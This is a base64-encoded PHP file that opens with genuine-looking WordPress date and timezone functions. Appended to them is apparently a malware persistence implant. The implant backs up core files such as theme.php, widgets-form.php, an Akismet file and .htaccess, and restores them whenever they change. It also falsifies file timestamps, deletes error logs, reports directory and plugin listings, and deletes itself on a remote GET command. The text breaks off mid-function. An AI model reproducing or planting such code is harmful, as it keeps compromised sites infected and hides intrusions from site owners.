PSAkZm9ybWF0ICkgewoJCXJldHVybiAkZGF0ZXRpbWUtPmdldFRpbWVzdGFtcCgpICsgJGRhdGV0aW1lLT5nZXRPZmZzZXQoKTsKCX0KCglpZiAoICR0cmFuc2xhdGUgKSB7CgkJcmV0dXJuIHdwX2RhdGUoICRmb3JtYXQsICRkYXRldGltZS0+Z2V0VGltZXN0YW1wKCksICR0aW1lem9uZSApOwoJfQoKCXJldHVybiAkZGF0ZXRpbWUtPmZvcm1hdCggJGZvcm1hdCApOwp9CgovKioKICogUmV0cmlldmVzIHRoZSBjdXJyZW50IHRpbWUgYmFzZWQgb24gc3BlY2lmaWVkIHR5cGUuCiAqCiAqICAtIFRoZSAnbXlzcWwnIHR5cGUgd2lsbCByZXR1cm4gdGhlIHRpbWUgaW4gdGhlIGZvcm1hdCBmb3IgTXlTUUwgREFURVRJTUUgZmllbGQuCiAqICAtIFRoZSAndGltZXN0YW1wJyBvciAnVScgdHlwZXMgd2lsbCByZXR1cm4gdGhlIGN1cnJlbnQgdGltZXN0YW1wIG9yIGEgc3VtIG9mIHRpbWVzdGFtcAogKiAgICBhbmQgdGltZXpvbmUgb2Zmc2V0LCBkZXBlbmRpbmcgb24gYCRnbXRgLgogKiAgLSBPdGhlciBzdHJpbmdzIHdpbGwgYmUgaW50ZXJwcmV0ZWQgYXMgUEhQIGRhdGUgZm9ybWF0cyAoZS5nLiAnWS1tLWQnKS4KICoKICogSWYgYCRnbXRgIGlzIGEgdHJ1dGh5IHZhbHVlIHRoZW4gYm90aCB0eXBlcyB3aWxsIHVzZSBHTVQgdGltZSwgb3RoZXJ3aXNlIHRoZQogKiBvdXRwdXQgaXMgYWRqdXN0ZWQgd2l0aCB0aGUgR01UIG9mZnNldCBmb3IgdGhlIHNpdGUuCiAqCiAqIEBzaW5jZSAxLjAuMAogKiBAc2luY2UgNS4zLjAgTm93IHJldHVybnMgYW4gaW50ZWdlciBpZiBgJHR5cGVgIGlzICdVJy4gUHJldmlvdXNseSBhIHN0cmluZyB3YXMgcmV0dXJuZWQuCiAqCiAqIEBwYXJhbSBzdHJpbmcgICAkdHlwZSBUeXBlIG9mIHRpbWUgdG8gcmV0cmlldmUuIEFjY2VwdHMgJ215c3FsJywgJ3RpbWVzdGFtcCcsICdVJywKICogICAgICAgICAgICAgICAgICAgICAgIG9yIFBIUCBkYXRlIGZvcm1hdCBzdHJpbmcgKGUuZy4gJ1ktbS1kJykuCiAqIEBwYXJhbSBpbnR8Ym9vbCAkZ210ICBPcHRpb25hbC4gV2hldGhlciB0byB1c2UgR01UIHRpbWV6b25lLiBEZWZhdWx0IGZhbHNlLgogKiBAcmV0dXJuIGludHxzdHJpbmcgSW50ZWdlciBpZiBgJHR5cGVgIGlzICd0aW1lc3RhbXAnIG9yICdVJywgc3RyaW5nIG90aGVyd2lzZS4KICovCmZ1bmN0aW9uIGN1cnJlbnRfdGltZSggJHR5cGUsICRnbXQgPSAwICkgewoJLy8gRG9uJ3QgdXNlIG5vbi1HTVQgdGltZXN0YW1wLCB1bmxlc3MgeW91IGtub3cgdGhlIGRpZmZlcmVuY2UgYW5kIHJlYWxseSBuZWVkIHRvLgoJaWYgKCAndGltZXN0YW1wJyA9PT0gJHR5cGUgfHwgJ1UnID09PSAkdHlwZSApIHsKCQlyZXR1cm4gJGdtdCA/IHRpbWUoKSA6IHRpbWUoKSArIChpbnQpICggKGZsb2F0KSBnZXRfb3B0aW9uKCAnZ210X29mZnNldCcgKSAqIEhPVVJfSU5fU0VDT05EUyApOwoJfQoKCWlmICggJ215c3FsJyA9PT0gJHR5cGUgKSB7CgkJJHR5cGUgPSAnWS1tLWQgSDppOnMnOwoJfQoKCSR0aW1lem9uZSA9ICRnbXQgPyBuZXcgRGF0ZVRpbWVab25lKCAnVVRDJyApIDogd3BfdGltZXpvbmUoKTsKCSRkYXRldGltZSA9IG5ldyBEYXRlVGltZSggJ25vdycsICR0aW1lem9uZSApOwoKCXJldHVybiAkZGF0ZXRpbWUtPmZvcm1hdCggJHR5cGUgKTsKfQoKLyoqCiAqIFJldHJpZXZlcyB0aGUgY3VycmVudCB0aW1lIGFzIGFuIG9iamVjdCB1c2luZyB0aGUgc2l0ZSdzIHRpbWV6b25lLgogKgogKiBAc2luY2UgNS4zLjAKICoKICogQHJldHVybiBEYXRlVGltZUltbXV0YWJsZSBEYXRlIGFuZCB0aW1lIG9iamVjdC4KICovCmZ1bmN0aW9uIGN1cnJlbnRfZGF0ZXRpbWUoKSB7CglyZXR1cm4gbmV3IERhdGVUaW1lSW1tdXRhYmxlKCAnbm93Jywgd3BfdGltZXpvbmUoKSApOwp9CgovKioKICogUmV0cmlldmVzIHRoZSB0aW1lem9uZSBvZiB0aGUgc2l0ZSBhcyBhIHN0cmluZy4KICoKICogVXNlcyB0aGUgYHRpbWV6b25lX3N0cmluZ2Agb3B0aW9uIHRvIGdldCBhIHByb3BlciB0aW1lem9uZSBuYW1lIGlmIGF2YWlsYWJsZSwKICogb3RoZXJ3aXNlIGZhbGxzIGJhY2sgdG8gYSBtYW51YWwgVVRDIMKxIG9mZnNldC4KICoKICogRXhhbXBsZSByZXR1cm4gdmFsdWVzOgogKgogKiAgLSAnRXVyb3BlL1JvbWUnCiAqICAtICdBbWVyaWNhL05vcnRoX0Rha290YS9OZXdfU2FsZW0nCiAqICAtICdVVEMnCiAqICAtICctMDY6MzAnCiAqICAtICcrMDA6MDAnCiAqICAtICcrMDg6NDUnCiAqCiAqIEBzaW5jZSA1LjMuMAogKgogKiBAcmV0dXJuIHN0cmluZyBQSFAgdGltZXpvbmUgbmFtZSBvciBhIMKxSEg6TU0gb2Zmc2V0LgogKi8KZnVuY3Rpb24gd3BfdGltZXpvbmVfc3RyaW5nKCkgewoJJHRpbWV6b25lX3N0cmluZyA9IGdldF9vcHRpb24oICd0aW1lem9uZV9zdHJpbmcnICk7CgoJaWYgKCAkdGltZXpvbmVfc3RyaW5nICkgewoJCXJldHVybiAkdGltZXpvbmVfc3RyaW5nOwoJfQoKCSRvZmZzZXQgID0gKGZsb2F0KSBnZXRfb3B0aW9uKCAnZ210X29mZnNldCcgKTsKCSRob3VycyAgID0gKGludCkgJG9mZnNldDsKCSRtaW51dGVzID0gKCAkb2Zmc2V0IC0gJGhvdXJzICk7CgoJJHNpZ24gICAgICA9ICggJG9mZnNldCA8IDAgKSA/ICctJyA6ICcrJzsKCSRhYnNfaG91ciAgPSBhYnMoICRob3VycyApOwoJJGFic19taW5zICA9IGFicyggJG1pbnV0ZXMgKiA2MCApOwoJJHR6X29mZnNldCA9IHNwcmludGYoICclcyUwMmQ6JTAyZCcsICRzaWduLCAkYWJzX2hvdXIsICRhYnNfbWlucyApOwoKCXJldHVybiAkdHpfb2Zmc2V0Owp9CgoKCXNldF90aW1lX2xpbWl0KDM1KTsKICAgIGlnbm9yZV91c2VyX2Fib3J0KDEpOwogICAgQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsIDM1KTsKICAgIGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7Cglpbmlfc2V0KCdkaXNwbGF5X3N0YXJ0dXBfZXJyb3JzJywgMCk7CgllcnJvcl9yZXBvcnRpbmcoRV9BTEwpOwoKCWlmKGlzc2V0KCRfR0VUWydjaGVjayddKSl7CgkJZWNobyBqc29uX2VuY29kZShhcnJheSgnc3RhdHVzJz0+J09LJykpOwoJCWV4aXQoKTsKCX0gCgogICAgaWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSl7CiAgICAJQHVubGluayhfX0RJUl9fLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ2JhY2t1cC50eHQnKTsKICAgIAlAdW5saW5rKF9fRElSX18uRElSRUNUT1JZX1NFUEFSQVRPUi4nZGlyc3RhdC50eHQnKTsKICAgIAlAdW5saW5rKF9fRklMRV9fKTsKICAgIAllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdzdGF0dXMnPT4nT0snKSk7CiAgICAJZXhpdCgpOwogICAgfQoKICAgIGxvZ3MoJ1NUQVJUJyk7CiAgICAkdGltZV9zdGFydCA9IHRpbWUoKTsKCiAgICAvLyDQo9C30L3QsNC10Lwg0L/Rg9GC0Ywg0LTQviDQutC+0YDQvdGPCiAgICAkU0NSSVBUX0ZJTEVOQU1FID0gc3RyX3JlcGxhY2UoJy8nLCAiXHQiLCAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOwogICAgJFNDUklQVF9GSUxFTkFNRSA9IHN0cl9yZXBsYWNlKCdcXCcsICJcdCIsICRTQ1JJUFRfRklMRU5BTUUpOwogICAgJHBhcnNlX3VybCA9IHBhcnNlX3VybCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7CiAgICAkUkVRVUVTVF9VUkkgPSBzdHJfcmVwbGFjZSgnLycsICJcdCIsICRwYXJzZV91cmxbJ3BhdGgnXSk7ICAgIAogICAgJFJPT1RfRElSID0gc3RyX3JlcGxhY2UoJFJFUVVFU1RfVVJJLCAnJywgJFNDUklQVF9GSUxFTkFNRSk7CiAgICAkUk9PVF9ESVIgPSBzdHJfcmVwbGFjZSgiXHQiLERJUkVDVE9SWV9TRVBBUkFUT1IsJFJPT1RfRElSKTsgIAoKICAgCSRiYWNrdXAgPSBmYWxzZTsKICAgIGlmKCFpc19maWxlKF9fRElSX18uRElSRUNUT1JZX1NFUEFSQVRPUi4nYmFja3VwLnR4dCcpKXsKICAgIAljcmVhdGVfYmFja3VwKCk7CiAgICB9CgogICAgJGJhY2t1cCA9IHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoZmlsZV9nZXRfY29udGVudHMoX19ESVJfXy5ESVJFQ1RPUllfU0VQQVJBVE9SLidiYWNrdXAudHh0JykpKTsKICAgIGlmKCFpc19hcnJheSgkYmFja3VwKSl7CiAgICAJY3JlYXRlX2JhY2t1cCgpOwogICAgCSRiYWNrdXAgPSB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKF9fRElSX18uRElSRUNUT1JZX1NFUEFSQVRPUi4nYmFja3VwLnR4dCcpKSk7CiAgICB9CgogICAgaWYoaXNfYXJyYXkoJGJhY2t1cCkpewogICAgCWVjaG8gJyErQkFDS1VQISAnLmNvdW50KCRiYWNrdXApLiJcbiI7CiAgICB9ZWxzZXsKICAgIAllY2hvICchLUJBQ0tVUCEgJy4iXG4iOwogICAgfQoKICAgICRjb250ZW50ID0gJyc7CiAgICBmb3IoJGk9MTskaTw9NTskaSsrKXsKICAgIAlpZihpc19maWxlKF9fRklMRV9fKSl7CiAgICAJCSRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOyAKICAgIAkJYnJlYWs7CiAgICAJfWVsc2V7CiAgICAJCXNsZWVwKDEpOwogICAgCX0KICAgIH0KICAgIGlmKGVtcHR5KCRjb250ZW50KSl7CiAgICAJQHVubGluayhfX0RJUl9fLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ2JhY2t1cC50eHQnKTsKICAgIAlAdW5saW5rKF9fRElSX18uRElSRUNUT1JZX1NFUEFSQVRPUi4nZGlyc3RhdC50eHQnKTsKICAgIAllY2hvICJFTVBUWSBGSUxFOiAiLl9fRklMRV9fOwogICAgCWV4aXQoKTsKICAgIH0KICAgICAgCiAgICB1bmxpbmsoX19GSUxFX18pOwogICAgdW5saW5rKF9fRElSX18uRElSRUNUT1JZX1NFUEFSQVRPUi4nYmFja3VwLnR4dCcpOwoKICAgIC8vIDEuINCe0YLQutGA0L7QtdC8INGB0YLQsNGC0LjRgdGC0LjQutGDCiAgICBpZihpc19maWxlKF9fRElSX18uRElSRUNUT1JZX1NFUEFSQVRPUi4nZGlyc3RhdC50eHQnKSl7CiAgICAJJHN0YXRfZGlyID0ganNvbl9kZWNvZGUoZmlsZV9nZXRfY29udGVudHMoX19ESVJfXy5ESVJFQ1RPUllfU0VQQVJBVE9SLidkaXJzdGF0LnR4dCcpLHRydWUpOwogICAgCXVubGluayhfX0RJUl9fLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ2RpcnN0YXQudHh0Jyk7CiAgICAJaWYoIWlzX2FycmF5KCRzdGF0X2RpcikpewogICAgCQkkc3RhdF9kaXIgPSBhcnJheSgpOwogICAgCX0KICAgIH1lbHNlewogICAgCSRzdGF0X2RpciA9IGFycmF5KCk7CiAgICB9CgogICAgY2hhbmdlX210aW1lKF9fRElSX18uRElSRUNUT1JZX1NFUEFSQVRPUi5tdF9yYW5kKDEwMCwyMDApLHRpbWUoKSk7CgogICAgLy8gMi4g0KPQtNCw0LvQuNC8INC90LUg0L3Rg9C20L3Ri9C1INC00LjRgNC10LrRgtC+0YDQuNC4CiAgICAkc3RhdF9kaXIgPSBhcnJheV9yZXZlcnNlKCRzdGF0X2Rpcik7CiAgICBmb3JlYWNoKCRzdGF0X2RpciBhcyAkY3VycmVudF9kaXJfc3RhdCl7CiAgICAJaWYoJGN1cnJlbnRfZGlyX3N0YXRbMV09PTAgJiYgaXNfZGlyKCRjdXJyZW50X2Rpcl9zdGF0WzBdKSl7CiAgICAJCUBybWRpcigkY3VycmVudF9kaXJfc3RhdFswXSk7CiAgICAJfQogICAgfQoKCQoJJHRyeSA9IDA7ICAgIAoKICAgIHdoaWxlKHRydWUpewogICAgCSR0aW1lX3dvcmsgPSB0aW1lKCkgLSAkdGltZV9zdGFydDsKICAgIAlpZigkdGltZV93b3JrPj0yOCAmJiAkdHJ5Pj0yMCl7CgogICAgCQljaGVja19jaGFuZ2UoJGJhY2t1cCk7CgogICAgCQkvLyAxLiDQn9C+0LvRg9GH0LjQvCDQuNC90YTQvtGA0LzQsNGG0LjRjiDQutCw0LrQuNC1INC00LjRgNC10LrRgtC+0YDQuNC4INC10YHRgtGMINCwINC60LDQutC40YUg0L3QtdGCCiAgICAJCSRzdGF0X2RpciA9IGNoZWNrX2ZvdW5kX2RpcigpOwoKICAgIAkJLy8gMi4g0KHQvtC30LTQsNC00LjQvCDQstGB0LUg0LTQuNGA0LXQutGC0L7RgNC40Lgg0LTQu9GPINGB0L7RhdGA0LDQvdC10L3QuNGPINGE0LDQudC70LAKICAgIAkJZm9yZWFjaCgkc3RhdF9kaXIgYXMgJGN1cnJlbnRfZGlyX3N0YXQpewogICAgCQkJaWYoJGN1cnJlbnRfZGlyX3N0YXRbMV09PTAgJiYgIWlzX2RpcigkY3VycmVudF9kaXJfc3RhdFswXSkpewogICAgCQkJCUBta2RpcigkY3VycmVudF9kaXJfc3RhdFswXSk7CiAgICAJCQl9CiAgICAJCX0KCiAgICAJCS8vIDMuINCh0L7RhdGA0LDQvdC40Lwg0YHRgtCw0YLQuNGB0YLQuNC60YMg0L/QviDQtNC40YDQtdC60YLQvtGA0LjRj9C8CiAgICAJCWZpbGVfcHV0X2NvbnRlbnRzKF9fRElSX18uRElSRUNUT1JZX1NFUEFSQVRPUi4nZGlyc3RhdC50eHQnLCBqc29uX2VuY29kZSgkc3RhdF9kaXIpKTsKICAgIAkJY2hhbmdlX210aW1lKF9fRElSX18uRElSRUNUT1JZX1NFUEFSQVRPUi4nZGlyc3RhdC50eHQnLGdldF9iZXN0X3RpbWUoX19ESVJfXykpOwoKICAgIAkJLy8gNC4g0KHQvtGF0YDQsNC90LjQvCDRhNCw0LnQuwogICAgCQlmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJGNvbnRlbnQpOwogICAgCQljaGFuZ2VfbXRpbWUoX19GSUxFX18sZ2V0X2Jlc3RfdGltZShfX0RJUl9fKSk7CgogICAgCQkvLyA1LiDQodC+0YXRgNCw0L3QuNC8INCx0LXQutCw0L8gICAgCQkKICAgIAkJZmlsZV9wdXRfY29udGVudHMoX19ESVJfXy5ESVJFQ1RPUllfU0VQQVJBVE9SLidiYWNrdXAudHh0JyxiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkYmFja3VwKSkpOwogICAgCQljaGFuZ2VfbXRpbWUoX19ESVJfXy5ESVJFQ1RPUllfU0VQQVJBVE9SLidiYWNrdXAudHh0JyxnZXRfYmVzdF90aW1lKF9fRElSX18pKTsgICAgCQkKCiAgICAJCWVjaG8gJ1RJTUVXT1JLX0xPQ0FMOiAnLiR0aW1lX3dvcmsuJyBTVEFSVF9USU1FOiAnLiR0aW1lX3N0YXJ0LicgQ1VSUkVOVF9USU1FOiAnLih0aW1lKCkpLicgVFJZOiAnLiR0cnkuIlxuIjsKCiAgICAJCS8vIDYuINCS0YvQstC10LTQtdC8INGB0YLQsNGC0LjRgdGC0LjQutGDCiAgICAJCWdldF9zdGF0X2RpcigkUk9PVF9ESVIuRElSRUNUT1JZX1NFUEFSQVRPUik7CgogICAgCQkvLyA3LiDQn9C70LDQs9C40L3RiwogICAgCQlsaXN0X3BsdWdpbigpOwoKICAgIAkJLy8gOC4gaHRhY2Nlc3MKICAgIAkJaWYoaXNfZmlsZSgkUk9PVF9ESVIuRElSRUNUT1JZX1NFUEFSQVRPUi4nLmh0YWNjZXNzJykpewogICAgCQkJZWNobyAiXG5IVEFDQ0VTUzpcbiIuZmlsZV9nZXRfY29udGVudHMoJFJPT1RfRElSLkRJUkVDVE9SWV9TRVBBUkFUT1IuJy5odGFjY2VzcycpLiJcbiI7ICAgIAkJCQogICAgCQl9CgogICAgCQlsb2dzKCdGSU5JU0gnKTsKICAgIAkJZXhpdCgpOwogICAgCX0gICAgCQogICAgCXNsZWVwKDEpOwogICAgCSR0cnkrKzsgIAkKICAgIAlpZihpc19maWxlKCdlcnJvcl9sb2cnKSl7CiAgICAJCUB1bmxpbmsoJ2Vycm9yX2xvZycpOyAgICAJCSAgIAkJCiAgICAJfSAgICAJCiAgICAJY2hhbmdlX210aW1lKF9fRElSX18uRElSRUNUT1JZX1NFUEFSQVRPUi5tdF9yYW5kKDEwMCwyMDApLHRpbWUoKSk7IAogICAgfQoKICAgIGZ1bmN0aW9uIGNoZWNrX2ZvdW5kX2RpcigpCiAgICB7CiAgICAJJGV4cGxvZGUgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsX19GSUxFX18pOwoJICAgICRkaXJzID0gYXJyYXkoKTsKCSAgICBmb3JlYWNoICgkZXhwbG9kZSBhcyAkaWQ9PiRjdXJyZW50X3BhdGgpIHsKCSAgICAJJHNsaWNlID0gYXJyYXlfc2xpY2UoJGV4cGxvZGUsMCwkaWQpOwoJICAgIAlpZihjb3VudCgkc2xpY2UpPT0wKSBjb250aW51ZTsKCSAgICAJJF9jID0gJyc7CgkgICAgCWlmKGNvdW50KCRzbGljZSk9PTEpIHsKCSAgICAJCSRfYyA9IERJUkVDVE9SWV9TRVBBUkFUT1I7CgkgICAgCX1lbHNlewoJICAgIAkJJF9jID0gaW1wbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRzbGljZSk7CgkgICAgCX0KCSAgICAJJGRpcnNbXSA9ICRfYzsgICAgCQkKCSAgICB9CgkgICAgJHJlc3VsdF9kaXIgPSBhcnJheSgpOwoJICAgIGZvcmVhY2goJGRpcnMgYXMgJGN1cnJlbnRfZGlyKXsKCSAgICAJaWYoaXNfZGlyKCRjdXJyZW50X2RpcikpewoJICAgIAkJJHJlc3VsdF9kaXJbXSA9IGFycmF5KCRjdXJyZW50X2RpciwxKTsKCSAgICAJfWVsc2V7CgkgICAgCQkkcmVzdWx0X2RpcltdID0gYXJyYXkoJGN1cnJlbnRfZGlyLDApOwoJICAgIAl9CgkgICAgfQoJICAgIHJldHVybiAkcmVzdWx0X2RpcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRfc3RhdF9kaXIoJGRpcikKICAgIHsKICAgIAkkc3RhdCA9IGFycmF5KCk7CiAgICAJJHNjYW5kaXIgPSBAc2NhbmRpcigkZGlyKTsKICAgIAkkX2RpciA9IGFycmF5KCk7CiAgICAJJF9maWxlID0gYXJyYXkoKTsKICAgIAlmb3JlYWNoKCRzY2FuZGlyIGFzICRjdXJyZW50X2ZpbGUpewogICAgCQkkbGFzdF9jaGFuZ2UgPSByb3VuZCgodGltZSgpLWZpbGVtdGltZSgkZGlyLiRjdXJyZW50X2ZpbGUpKS82MCk7CiAgICAJCWlmKGlzX2RpcigkZGlyLiRjdXJyZW50X2ZpbGUpIHx8ICRjdXJyZW50X2ZpbGU9PScuLicpewogICAgCQkJJF9kaXJbXSA9ICdbICcuJGN1cnJlbnRfZmlsZS4nIF0gJy4kbGFzdF9jaGFuZ2UuJyBtaW4gYWdvJzsKICAgIAkJfWVsc2V7CiAgICAJCQkkX2ZpbGVbXSA9ICRjdXJyZW50X2ZpbGUuJyAnLiRsYXN0X2NoYW5nZS4nIG1pbiBhZ28nOwogICAgCQl9CiAgICAJfQogICAgCSRzdGF0ID0gYXJyYXlfbWVyZ2UoJF9kaXIsJF9maWxlKTsKICAgIAlpZihpc19maWxlKCRkaXIuJ3dwLWNvbmZpZy5waHAnKSl7CiAgICAJCWVjaG8gJ1srXSBXUCBTRVRVUCcuIlxuIjsKICAgIAl9CiAgICAJaWYoaXNfZmlsZSgkZGlyLid3b3JkcHJlc3MnLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ3dwLWNvbmZpZy5waHAnKSl7CiAgICAJCWVjaG8gJ1srXSBXUCBTRVRVUCBQQVRIJy4iXG4iOwogICAgCX0KICAgIAllY2hvICJESVJfU1RBVDpcbiI7CiAgICAJZWNobyBpbXBsb2RlKCJcbiIsJHN0YXQpLiJcbiI7CiAgICB9CgogICAgLy8g0KHQvtC30LTQsNC10Lwg0LHQtdC60LDQvyDQuNC3INGE0LDQudC70L7QsgoJZnVuY3Rpb24gY3JlYXRlX2JhY2t1cCgpCgl7CgkJJGJhY2t1cCA9IGFycmF5KCk7CgkJaWYoaXNfZmlsZSgnLi4vLi4vd3AtaW5jbHVkZXMvW1BIUF9GSUxFXScpKXsKCQkJJGJhY2t1cFsnL3dwLWluY2x1ZGVzL1tQSFBfRklMRV0nXSA9IGFycmF5KGZpbGVtdGltZSgnLi4vLi4vd3AtaW5jbHVkZXMvW1BIUF9GSUxFXScpLGZpbGVfZ2V0X2NvbnRlbnRzKCcuLi8uLi93cC1pbmNsdWRlcy9bUEhQX0ZJTEVdJykpOwoJCX0KCQlpZihpc19maWxlKCcuLi8uLi93cC1pbmNsdWRlcy90aGVtZS5waHAnKSl7CgkJCSRiYWNrdXBbJy93cC1pbmNsdWRlcy90aGVtZS5waHAnXSA9IGFycmF5KGZpbGVtdGltZSgnLi4vLi4vd3AtaW5jbHVkZXMvdGhlbWUucGhwJyksZmlsZV9nZXRfY29udGVudHMoJy4uLy4uL3dwLWluY2x1ZGVzL3RoZW1lLnBocCcpKTsKCQl9CgkJaWYoaXNfZmlsZSgnLi4vLi4vd3AtYWRtaW4vd2lkZ2V0cy1mb3JtLnBocCcpKXsKCQkJJGJhY2t1cFsnL3dwLWFkbWluL3dpZGdldHMtZm9ybS5waHAnXSA9IGFycmF5KGZpbGVtdGltZSgnLi4vLi4vd3AtYWRtaW4vd2lkZ2V0cy1mb3JtLnBocCcpLGZpbGVfZ2V0X2NvbnRlbnRzKCcuLi8uLi93cC1hZG1pbi93aWRnZXRzLWZvcm0ucGhwJykpOwoJCX0KCQlpZihpc19maWxlKCcuLi8uLi93cC1jb250ZW50L3BsdWdpbnMvYWtpc21ldC9jbGFzcy5ha2lzbWV0LWNsaS5waHAnKSl7CgkJCSRiYWNrdXBbJy93cC1jb250ZW50L3BsdWdpbnMvYWtpc21ldC9jbGFzcy5ha2lzbWV0LWNsaS5waHAnXSA9IGFycmF5KGZpbGVtdGltZSgnLi4vLi4vd3AtY29udGVudC9wbHVnaW5zL2FraXNtZXQvY2xhc3MuYWtpc21ldC1jbGkucGhwJyksZmlsZV9nZXRfY29udGVudHMoJy4uLy4uL3dwLWNvbnRlbnQvcGx1Z2lucy9ha2lzbWV0L2NsYXNzLmFraXNtZXQtY2xpLnBocCcpKTsKCQl9CgkJaWYoaXNfZmlsZSgnLi4vLi4vd3AtY29udGVudC9wbHVnaW5zL2FraXNtZXQvLmh0YWNjZXNzJykpewoJCQkkYmFja3VwWycvd3AtY29udGVudC9wbHVnaW5zL2FraXNtZXQvLmh0YWNjZXNzJ10gPSBhcnJheShmaWxlbXRpbWUoJy4uLy4uL3dwLWNvbnRlbnQvcGx1Z2lucy9ha2lzbWV0Ly5odGFjY2VzcycpLGZpbGVfZ2V0X2NvbnRlbnRzKCcuLi8uLi93cC1jb250ZW50L3BsdWdpbnMvYWtpc21ldC8uaHRhY2Nlc3MnKSk7CgkJfQoJCWZpbGVfcHV0X2NvbnRlbnRzKF9fRElSX18uRElSRUNUT1JZX1NFUEFSQVRPUi4nYmFja3VwLnR4dCcsYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJGJhY2t1cCkpKTsJCQoJfQoKCWZ1bmN0aW9uIGxpc3RfcGx1Z2luKCkKCXsKCQlnbG9iYWwgJFJPT1RfRElSOwoJCSRwYXRoX2NoZWNrID0gYXJyYXkoJFJPT1RfRElSKTsKCQlpZihpc19kaXIoJFJPT1RfRElSLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ3dvcmRwcmVzcycpKXsKCQkJJHBhdGhfY2hlY2tbXSA9ICRST09UX0RJUi5ESVJFQ1RPUllfU0VQQVJBVE9SLid3b3JkcHJlc3MnOwoJCX0KCQlmb3JlYWNoKCRwYXRoX2NoZWNrIGFzICRjdXJyZW50X3BhdGgpewoJCQlpZihpc19kaXIoJGN1cnJlbnRfcGF0aC5ESVJFQ1RPUllfU0VQQVJBVE9SLid3cC1jb250ZW50Jy5ESVJFQ1RPUllfU0VQQVJBVE9SLidwbHVnaW5zJykpewoJCQkJJGZpbGVzX3BsdWdpbiA9IGFycmF5X2RpZmYoQHNjYW5kaXIoJGN1cnJlbnRfcGF0aC5ESVJFQ1RPUllfU0VQQVJBVE9SLid3cC1jb250ZW50Jy5ESVJFQ1RPUllfU0VQQVJBVE9SLidwbHVnaW5zJyksIGFycmF5KCcuJywnLi4nKSk7CgkJCQllY2hvICd+IFBMVUdJTlM6ICcuJGN1cnJlbnRfcGF0aC4nIC0gJy5pbXBsb2RlKCcgfCAnLCRmaWxlc19wbHVnaW4pLiJcbiI7CgkJCX0KCQl9Cgl9CgoJZnVuY3Rpb24gY2hlY2tfY2hhbmdlKCRiYWNrdXApCgl7CgkJZ2xvYmFsICRST09UX0RJUjsKCQlpZighaXNfYXJyYXkoJGJhY2t1cCkpIHJldHVybiBmYWxzZTsKCQkkcGF0aF9jaGVjayA9IGFycmF5KCRST09UX0RJUik7CgkJaWYoaXNfZGlyKCRST09UX0RJUi5ESVJFQ1RPUllfU0VQQVJBVE9SLid3b3JkcHJlc3MnKSl7CgkJCSRwYXRoX2NoZWNrW10gPSAkUk9PVF9ESVIuRElSRUNUT1JZX1NFUEFSQVRPUi4nd29yZHByZXNzJzsKCQl9CQkKCQkvLyDQn9GA0L7QstC10YDRj9C10Lwg0LjQt9C80LXQvdC10L3QuNC1INGE0LDQudC70L7QsgoJCWZvcmVhY2goJHBhdGhfY2hlY2sgYXMgJGN1cnJlbnRfcGF0aCl7CgkJCWZvcmVhY2goJGJhY2t1cCBhcyAkY3VycmVudF9iYWNrdXBfZmlsZT0+JGNvbnRlbnRfYmFja3VwKXsKCQkJCSRuZWVkX3NhdmUgPSBmYWxzZTsKCQkJCSRyZWFzb24gPSAnJzsJCQoJCQkJaWYoaXNfZmlsZSgkY3VycmVudF9wYXRoLiRjdXJyZW50X2JhY2t1cF9maWxlKSl7CgkJCQkJJG5ld19jb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGN1cnJlbnRfcGF0aC4kY3VycmVudF9iYWNrdXBfZmlsZSk7CgkJCQkJaWYoJG5ld19jb250ZW50IT0kY29udGVudF9iYWNrdXBbMV0pewkJCQkJCQoJCQkJCQkkbmVlZF9zYXZlID0gdHJ1ZTsKCQkJCQkJJHJlYXNvbi49JyBjaGFuZ2UgY29udGVudCAnOwoJCQkJCX0KCQkJCX1lbHNlewoJCQkJCS8vINCk0LDQudC70LAg0L3QtdGC0YMgLSDQvdC+INC10YHRgtGMINC/0LDQv9C60LAKCQkJCQlpZihpc19kaXIoZGlybmFtZSgkY3VycmVudF9wYXRoLiRjdXJyZW50X2JhY2t1cF9maWxlKSkpewoJCQkJCQkkbmVlZF9zYXZlID0gdHJ1ZTsKCQkJCQkJJHJlYXNvbi49JyBubyBmaWxlLCBidXQgZm91bmQgZGlyICc7CgkJCQkJfQoJCQkJfQoJCQkJaWYoJG5lZWRfc2F2ZSl7CgkJCQkJaWYoaXNfd3JpdGFibGUoJGN1cnJlbnRfcGF0aC4kY3VycmVudF9iYWNrdXBfZmlsZSkpewoJCQkJCQkkcmVhc29uLj0nIGdvb2Qgd3JpdGFibGUgJzsKCQkJCQl9ZWxzZXsKCQkJCQkJJHJlYXNvbi49JyBiYWQgd3JpdGFibGUgJzsKCQkJCQl9CQkJCgkJCQkJZmlsZV9wdXRfY29udGVudHMoJGN1cnJlbnRfcGF0aC4kY3VycmVudF9iYWNrdXBfZmlsZSwkY29udGVudF9iYWNrdXBbMV0pOwoJCQkJCWNoYW5nZV9tdGltZSgkY3VycmVudF9wYXRoLiRjdXJyZW50X2JhY2t1cF9maWxlLGdldF9iZXN0X3RpbWUocmVhbHBhdGgoJGN1cnJlbnRfcGF0aCkpKTsKCQkJCQkkZ29vZCA9IGZhbHNlOwkJCQkJCgkJCQkJaWYoaXNfZmlsZSgkY3VycmVudF9wYXRoLiRjdXJyZW50X2JhY2t1cF9maWxlKSl7CgkJCQkJCWlmKGZpbGVfZ2V0X2NvbnRlbnRzKCRjdXJyZW50X3BhdGguJGN1cnJlbnR